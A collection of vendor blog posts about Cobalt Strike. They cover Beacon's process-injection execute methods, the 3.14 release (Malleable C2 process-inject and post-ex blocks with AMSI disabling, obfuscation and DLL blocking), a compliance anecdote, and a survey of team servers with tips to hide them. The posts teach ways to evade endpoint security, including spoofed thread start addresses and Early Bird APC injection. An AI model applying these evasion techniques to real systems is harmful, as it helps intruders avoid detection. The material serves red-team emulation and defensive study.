Another favorable context factor is self injection. If we inject into our own process, we can and should treat that differently. We can simply use VirtualAlloc and CreateThread when injecting into ourself. When dealing with a security stack that aggressively swat remote process injection, self-injection is a way to safely use capabilities that can target a remote process.

One last corner case is whether or not the injected data has an argument. I can pass an argument via SetThreadContext with an x64 target (thanks fastcall!). Cobalt Strike’s implementation can’t pass an argument, via SetThreadContext, with an x86 target. Bummer.

We’re not done though. When dealing with remote process injection there are other factors. Some methods are riskier on Windows XP era systems. *gasp*. RtlCreateUserThread falls into this camp. And, other methods don’t work when you have to inject across desktop session boundaries (CreateRemoteThread, I’m looking at you).

Code Execution: The perfect execute block

Some of the execute options are scoped to the special cases described above. When you specify your execute block, put these special cases (self-injection, suspended processes) first. Beacon will ignore these options when they’re not right for the current injection context.

Next, you should follow up with which methods you want Beacon to use in-general. Remember, each method has different context limitations and failure cases. If you care that your process injection succeed, OPSEC be damned, make sure you have backups to the primary methods you specify. This is how Beacon’s process injection cocktail worked before 3.14 gave control to your profiles.

Let’s walk through the different execute options implemented in Beacon and their nuances:

Code Execution: CreateThread

I’ll start with CreateThread. I think CreateThread should come first in an execute block (if it’s there at all). This function will only run when you’re doing self-injection. You can use CreateThread which will spin up a thread pointing to the code you want Beacon to run. Be cautious though. When you self-inject this way, your thread will have a start address that’s not associated with one of the modules (DLLs, the current program itself) loaded into the current process space. This is a tell used to detect injected content. To help with this, you can specify CreateThread “module!somefunction+0x##”. This variant will spawn a suspended thread that points to the specified function. If the specified function is not available via GetProcAddress; this variant will immediately fail. Beacon will use SetThreadContext to update this new thread to run your injected code. This is a way of doing self-injection in a way that gives your thread a more favorable start address.

Code Execution: SetThreadContext

The next place to go is SetThreadContext. This is one of the methods available to take over the primary thread of a temporary process spawned for a post-exploitation job. Beacon’s SetThreadContext option works x86 -> x86, x64 -> x64, and x64 -> x86. If you choose to use SetThreadContext, put it after the CreateThread option(s) in your execute block. When you use SetThreadContext; your thread will have a start address that reflects the original execution entry point of the temporary process.

Code Execution: NtQueueApcThread-s

Another option for suspended processes is NtQueueApcThread-s. This option uses NtQueueApcThread to queue a one-off function that runs when the target thread wakes up next. In this case, the target thread is the primary thread of our temporary process. This methods next step is to call ResumeThread. This function wakes up the primary thread of our suspended process. Because the process is suspended, we don’t have to worry about giving this primary thread back to the process. Supposedly, executing code this way, allows our injected capability to initialize itself in the process before some userland-resident security products initialize themselves. This method of evasion was labeled the early bird injection technique by researchers from Cyberbit. This option is x86 -> x86 and x64 -> x64 only.

The use of SetThreadContext vs. NtQueueApcThread-s are up to you. I don’t think one is clearly better than the other in all contexts.

Code Execution: NtQueueApcThread

The next option to consider is NtQueueApcThread. This is a different implementation from NtQueueApcThread-s. It’s designed to target an existing remote process. This implementation pushes an RWX stub to the remote process. This stub contains both code and context related to the injection. To execute this stub, we add our stub to the APC queue of every thread in the remote process. If one of those threads enters an alertable state, our stub will execute.

What does the stub do?

The stub first checks if it was already run. If it was, it does nothing. This is to prevent our injected code from running multiple times.

The stub then calls CreateThread with our injected code and its argument. We do this to allow the APC to quickly return and let the original thread go on about its business.

There’s a risk that no thread will wake up and execute our stub. Beacon waits about 200ms and checks the stub to determine if the code ran. If it didn’t, we update the stub to mark the injection as having run, and we move on to the next injection technique. That’s the implementation of this technique.

I’ve had several requests for this option, because some security products have less visibility into this event. That said, this implementation has its OPSEC concerns. It does push that RWX stub which itself is a noisy memory indicator. It also calls CreateThread against our code that was pushed into this remote process. The start address of this thread is not backed by a module on disk. It won’t do well with a Get-InjectedThread sweep. If you find this injection method valuable, go ahead and use it. Just be aware that it has its trade-offs. One other note: this method (as I’ve implemented it) is x86 -> x86 and x64 -> x64 only.

Code Execution: CreateRemoteThread

Another option is CreateRemoteThread. This is the standard-issue remote process injection technique. As of Windows Vista, it does fail when injecting code across session boundaries. In Cobalt Strike, vanilla CreateRemoteThread covers x86 -> x86, x64 -> x64, and x64 -> x86 cases. This technique is also very visible. The Sysmon event 8 will fire when this method is used to create a thread in another process. Beacon does implement a CreateRemoteThread variant that accepts a fake start address in the form “module!function+0x##”. Like CreateThread, Beacon will create this thread in a suspended state and use SetThreadContext/ResumeThread to make it run our code. This variant is x86 -> x86 and x64 -> x64 only. This variant will fail if the specified function is not available via GetProcAddress.

Code Execution: RtlCreateUserThread

The last option available to Cobalt Strike’s execute block is RtlCreateUserThread. Be aware! This option is similar to CreateRemoteThread without some of its limitations. It does have its own drawbacks though.

RtlCreateUserThread will inject code across session boundaries. Supposedly it has some trouble in some injection contexts on Windows XP. This may or may not matter to you. This method DOES fire Sysmon event 8 as well. One benefit to RtlCreateUserThread is it covers x86 -> x86, x64 -> x64, x64 -> x86, AND x86 -> x64. This last corner case is important to address.

x86 -> x64 injection happens when you’re in an x86 Beacon context and you spawn an x64 process for a post-exploitation job. The hashdump, mimikatz, execute-assembly, and powerpick modules all default to an x64 context where they can. To pull off the feat of x86 -> x64 injection, this implementation transitions your x86 process to an x64 mode and injects an RWX stub to call RtlCreateUserThread from an x64 context. This implemention comes from Meterpreter and the RWX stub is a loud memory indicator. I’ve long advised: “stay x64 as much as possible”. This type of detail is the reason why. I do recommend RtlCreateUserThread exist in any process-inject -> execute block though. It makes sense to have this as the bottom-most option. Use it when nothing else works.

Life without (Remote) Process Injection

When I think about how to make an offense technique flexible, I also like to give similar consideration to what would I do if this technique were not an option?

Process injection is a way to move a payload/capability to a different process context (e.g., go from desktop session 0 to desktop session 1). It’s possible to move to a different process context without remote process injection. Use the runu command. This Beacon command will execute a program as a child of an arbitrary process you specify. This is a way to get a capability into another desktop session (for example) without remote process injection.

Process injection is also a way to execute capabilities on-target without putting a capability on disk. In Cobalt Strike; many post-exploitation capabilities have the option to target a specific process. To use these without remote process injection; specify your current Beacon process. This is self-injection.

Sometimes, putting something on disk is the best option available. I once had success compiling a keystroke logger as a DLL and dropping it to c:\windows\linkinfo.dll to (eventually) load it into explorer.exe. We used an open share on the same system to periodically grab our keystrokes. This helped my colleagues and I operate in a highly-scrutinized situation where it was difficult to keep a memory-resident payload alive on target.

If you enjoy these types of thought exercises; I recommend watching Agentless Post Exploitation and Fighting the Toolset.


Interested in Trying Cobalt Strike?


That time a printer tried to get Cobalt Strike

I’m sometimes asked: “Raphael, what does Strategic Cyber LLC do to control Cobalt Strike?” That’s the subject of this blog post.

What is Cobalt Strike? The textbook answer is that Cobalt Strike is a platform for red team operations and adversary simulations. In the right hands, Cobalt Strike empowers security professionals and enables better security assessments.

While the product’s capability makes it a popular choice for red team security assessments, it’s also dangerous in the wrong hands. That’s not something we take lightly. A great effort goes into limiting distribution of Cobalt Strike to security professionals who will only use the product for ethical penetration testing purposes.

  • We perform a screen and risk assessment of all trial requests and sales—a process that includes assessment of the organization’s plausible use case
  • We degrade functionality in the product’s trial distribution.
  • Our licensed product adds identifiers to its payloads that attribute the end-user.

If you’d like to learn more, I recommend that you read our Corporate Compliance and Ethics document.

I can haz Cobalt Strike?

While our screening and risk assessment reduces risk—it doesn’t eliminate it. Yet, the process is working.

One day, we received a trial request from a Detective in a small town police department. The provided email was biz350@[domain].gov. We initially read this as a generic procurement address. Some organizations have these. With GDPR, I expect we’ll see a lot more of this from EU entities going forward too.

We didn’t have any concerns about the identity or location of this end-user organization. The risk assessment is where we ran into problems. We had to ask the obvious question: Why would a small police department need Cobalt Strike? Is a patrolman using department time and budget to get an OSCP? We denied the trial request.

A few days later, we received a follow-up email from the email address associated with the trial request. The writing was odd though. It came off like a professional correspondence fed through an LOLcat translator.

That wasn’t the kicker though. The email name read “Minolta Copier”. A quick Google search revealed that biz350 is a model of an internet connected printer/copy machine.

At this point, we were convinced the entity was compromised. We gathered up the information we had and opted to notify the organization. That was an awkward call.

“Hello, dispatch.”

“Hi… uh… I’d like to speak to someone in IT?”

“Excuse me, can you state the reason why?”

“I promise, this isn’t a phishing scam, I think your printer is hacked”


While we can’t share the specific “red flags” we use, every sale and trial request goes through our screening and risk assessment process. This forces us to ask questions and find answers. When something doesn’t add up, we either collaborate to resolve it, or disengage completely.

Reporting incidents and artifacts?

From time to time, we receive informal requests for technical assistance or records from private entities. Our policy is not to perform analysis for, provide deconfliction services to, or disclose our records to private entities upon informal request.

If we have information relevant to a law enforcement investigation, we comply with valid legal process.

This stance is to avoid frivolous requests and to protect our customer’s information.

We also investigate tips. We can’t usually share information back, but we look into things brought to our attention. is the best email address to start those conversations.

Cobalt Strike 3.14 – Post-Ex Omakase Shimasu

Cobalt Strike 3.14 is now available. This release benefits the OPSEC of Beacon’s post-exploitation jobs. To take a screenshot, log keystrokes, dump credentials, or scan for targets: Beacon often spawns a temporary process, injects the capability into it, and receives results over a pipe. While Cobalt Strike has a lot of flexibility around launching temporary processes, it has had too few options for the actions that come next. This release changes that.

Malleable Process Injection, pt. 2

It makes sense to start this discussion with process injection. This is a key part of Beacon’s post-exploitation attack chain. The process injection code-path in Beacon is some of the oldest code in the payload and it was originally designed to “just work” in the myriad of corner cases this offense technique requires. These corner cases are not trivial. x86 -> x86, x86 -> x64, x64 -> x86, and x64 -> x64 in both suspended and not suspended processes are cases that a process-injection implementation needs to account for. The above becomes more complicated as some options fail across desktop session boundaries and others are riskier on older Windows XP-era systems. You can say “I don’t care about Windows XP”, and to some extent I don’t either, but Cobalt Strike’s Beacon circa 2012 had to cope with this.

Cobalt Strike 3.12 made some progress on process injection flexibility. This release picks up where 3.12 left off. Here’s what it looks like:

process-inject {
    # set remote memory allocation technique
    set allocator "NtMapViewOfSection";
    # shape the content and properties of what we will inject
    set min_alloc "16384";
    set userwx    "false";
    transform-x86 {
        prepend "\x90";
    transform-x64 {
        prepend "\x90";
    # specify how we execute code in the remote process
    execute {
        CreateThread "ntdll!RtlUserThreadStart";

Remote Memory Allocation

The process-inject -> allocator Malleable C2 option presents two paths to allocate memory within and copy data to a remote process.

The default VirtualAllocEx uses the venerable VirtualAllocEx -> WriteProcessMemory combination. The NtMapViewOfSection option has Beacon create a file mapping in the current process, copy the code to this local section, and map it into the remote process with NtMapViewOfSection. This option is limited to same-architecture target process (VirtualAllocEx is always the fallback).

Code Execution

3.14 also offers control over which techniques Beacon uses to execute code in a remote process and in which order it attempts them. This is done with the process-inject -> execute block. When executing code in a remote process: Beacon examines each option in the execute block, determines if the option is fair game for the current context, tries it if it’s relevant, and stops this process if code execution was successful.

Cobalt Strike’s options include:

  • CreateThread
  • CreateThread “module!Function+0x##”
  • CreateRemoteThread
  • CreateRemoteThread “module!Function+0x##”
  • NtQueueApcThread
  • NtQueueApcThread-s
  • RtlCreateUserThread
  • SetThreadContext

The CreateThread option is specific to self-injection.

The SetThreadContext and NtQueueApcThread-s options are specific to the temporary processes Beacon launches for its post-exploitation jobs. These functions take over the main thread of the suspended process and use it to execute the injected post-exploitation capability. The NtQueueApcThread-s option is Cobalt Strike’s implementation of the so-called Early Bird technique.

NtQueueApcThread, RtlCreateUserThread, and CreateRemoteThread are standard-issue options to inject code into a remote process. The RtlCreateUserThread option has an implementation variant for x86 -> x64 injection. CreateRemoteThread and RtlCreateUserThread both handle x64 -> x86 injection. All other options cover x86 -> x86 and x64 -> x64 injection.

CreateThread and CreateRemoteThread have variants that spawn a thread with the address fo another function, update the suspended thread to execute our code, and then resume the thread. This is useful to duck past techniques like Get-InjectedThread. Use [function] “module!function+0x##” to specify the start address to spoof. For remote processes, ntdll and kernel32 are the only recommended modules to pull from. The optional 0x## part is an offset added to the start address.

With the execute block, you may arrange these functions in an order of preference you’d like to use in your operations. It’s OK to omit or include options to tailor Beacon’s behavior to the adversary capability you’d like to emulate.

Revised Post-exploitation DLLs

Cobalt Strike 3.14 adds a post-ex block to Malleable C2. This block collects options to tweak the content and behavior of the post-exploitation jobs in Cobalt Strike.

post-ex {
    # control the temporary process we spawn to
    set spawnto_x86 "%windir%\\syswow64\\WerFault.exe";
    set spawnto_x64 "%windir%\\sysnative\\WerFault.exe";
    # change the permissions and content of our post-ex DLLs
    set obfuscate "true";
    # pass key function pointers from Beacon to its child jobs
    set smartinject "true";
    # disable AMSI in powerpick, execute-assembly, and psinject
    set amsi_disable "true";

Existing options such as spawnto_x86, spawnto_x64, and amsi_disable were moved to the post-ex block.

The obfuscate option scrambles the content of the post-ex DLLs and settles the post-ex capability into memory in a more OPSEC-safe way. It’s very similar to the obfuscate and userwx options available for Beacon via the stage block.

The smartinject option directs Beacon to embed key function pointers, like GetProcAddress and LoadLibrary, into its same-architecture post-ex DLLs. This allows post-ex DLLs to bootstrap themselves in a new process without shellcode-like behavior that is detected and mitigated by watching memory reads of the export address table in kernel32 and friends.

Blocking Vendor DLLs

Process injection does not exist in Windows solely to enable offense software. Some security products inject DLLs into user processes too. They do this to get deeper visibility into and veto power over the activities of the process. This is accomplished by hooking functions associated with common offense techniques.

Related: Google found that Chrome users were 15% more likely to experience a crash when injected code is present in the Chrome process space. Google decided to push back and block these DLLs from the Chrome process space. As an offense engineer, I thought it would benefit my processes if I could ALSO block these unwanted third-party DLLs from my processes. It turns out… this is possible.

Use blockdlls start and Cobalt Strike will launch child processes in a way that denies third-party DLLs access to the same process space. This is accomplished by running the process with a binary security policy attribute that restricts DLL loads to Microsoft-signed DLLs only. This is an option present in Windows 10 since late-2017.

Revised Process and File Browser Tabs

The 3.14 process browser now organizes the process information into a tree. Highlight a process in the tree and it will immediately highlight in the right-side detailed view of the processes. Your current process also shows in yellow. This is a lot easier than trying to follow a flat ps output and figure out which process is the parent of which process:

The 3.14 file browser is now (slightly) friendlier to Beacon’s asynchronous communication style. Each file browser now caches the folder/file listings it has seen. A tree on the left-hand side of the file browser shows which known folders are in the cache and which are not. Colored folders are in the cache. Grey folders are not. Click on an uncached folder in the tree and the file browser will ask Beacon to list that folder on its next check-in. In this way, you can revisit folders you’ve already seen, request multiple folders, and queue up multiple actions (e.g., download, execute, delete) in between Beacon checkins.

These changes should make post-exploitation a little more fun.

Check out the release notes to see a full list of what’s new in Cobalt Strike 3.14. Licensed users may use the update program to get the latest.

Cobalt Strike Team Server Population Study

From February 4, 2019 to February 15, 2019 Strategic Cyber LLC connected to several live Cobalt Strike team servers to download Beacon payloads, analyze them, and study the information within these payloads.

We conducted the survey from a system that exists separate of this company’s logs and records. The survey results were available on the same system. We did not use our logs or records to seed this survey.

We granted access to our survey system and results to a few parties we trusted. We did this to seek feedback on the data, process, and ideas for appropriate use. We also invited these parties to submit team servers for analysis as well. Unfortunately, one of those parties posted many domains from this system’s results to Twitter without our approval or knowledge. Some of these domains included red team infrastructure used by customers. While anyone could conduct the same survey, it was our system’s results that were used.

One of the top priorities at Strategic Cyber LLC is to not disclose or impact the red team operations or penetration tests of our customers. We see this aggregate and unapproved disclosure of domains, from our survey system, as undermining that goal.

The rest of this post details the survey process, what it extracted, and how to make your team server less visible to these types of analysis.

Why did we do this survey?

We conducted this survey as part of our continuous efforts to evaluate and improve our product controls.

How was the survey done?

We used techniques well-known in the blue community to identify Cobalt Strike team servers. We then connected to those servers to request a Beacon payload stage and analyzed its configuration and PE characteristics. We did not circumvent any technological measures to perform the survey.

What information does this analysis yield?

A lot of configuration information (necessary for the Beacon payload to function) is embedded in the Beacon payload DLL. Our analysis extracted hosts, URIs, User-Agents, and other behavior related configuration information. Our analysis also sought to identify: trial vs. licensed, authorization ID, version, and whether or not the product was altered in certain ways.

How did you find these team servers?

Here are the common techniques to identify Cobalt Strike team servers on the internet:

1) The Cobalt Strike product ships with a default SSL certificate for HTTPS communication. This self-signed certificate has no place in a live operation, but it’s still used in many Cobalt Strike deployments. One technique to find Cobalt Strike Beacon controllers is to search for the SHA-256 hash of Cobalt Strike’s default certificates:

2) Cobalt Strike’s DNS server (when it’s enabled) will respond to any request it receives with the bogon IP A search for DNS servers that respond to an arbitrary DNS request with this answer will find Cobalt Strike systems. It will also find non-Cobalt Strike systems as well. It’s a noisy indicator.

3) Search for systems with port 50050 open. This is the controller for Cobalt Strike’s team server.

4) Another technique is to look for 404 Not Found root page with empty content and a text/plain Content-Type. This is the default response of Cobalt Strike without a redirector or content explicitly hosted at /.

How was the payload stage requested?

As part of its feature set and workflows, Cobalt Strike hosts the Beacon payload stage on its built-in web server. Cobalt Strike is compatible with the Metasploit Framework’s staging protocol. Any HTTP request that has the proper checksum8 value will yield a Beacon payload. Our system makes a request for a payload in the same way a Metasploit Framework stager would.

Protecting your team server

The process we used for our survey is nothing new or unknown. If you’d like to reduce the visibility of your team server to these mass analysis studies, here are a few tips:

1) Do not use the default HTTPS certificate within Cobalt Strike. If your goal is to emulate a low-tier actor with a self-signed certificate—use the https-certificate Malleable C2 block to generate a self-signed certificate that supports your exercise narrative. If you have a live operation, use a valid SSL certificate with your HTTPS Beacon.

2) The is a well-known indicator of the DNS beaconing feature in Cobalt Strike. Use the dns_idle Malleable C2 option to change this to something else.

3) Edit the last line of the teamserver script to change the port from 50050 to something else. This is a very minimal measure. A better solution is to limit who can connect to this port with a host-based firewall.

4) If Cobalt Strike is hosting a Beacon payload stage, it will send payload stages in response to a valid request. This remains true, even if you configure the http-stager block in Cobalt Strike. The http-stager block reconfigures staging indicators within Cobalt Strike. It does not disable the compatibility with the Metasploit Framework. If you do not want Cobalt Strike to host a payload stage, set the host_stage Malleable C2 option to false. This option will require some changes to how you operate.

5) Use an Apache or Nginx web server as a redirector for your Cobalt Strike team server. Limit 80/443 connections to your team server to these redirectors. A properly configured redirector will smooth out indicators specific to Cobalt Strike’s web server (e.g., the JA3S fingerprint for SSL connections). A redirector is also an opportunity to serve legitimate content in response to non-staging and non-command and control URIs. The Red Team Infrastructure Wiki has advice on this topic.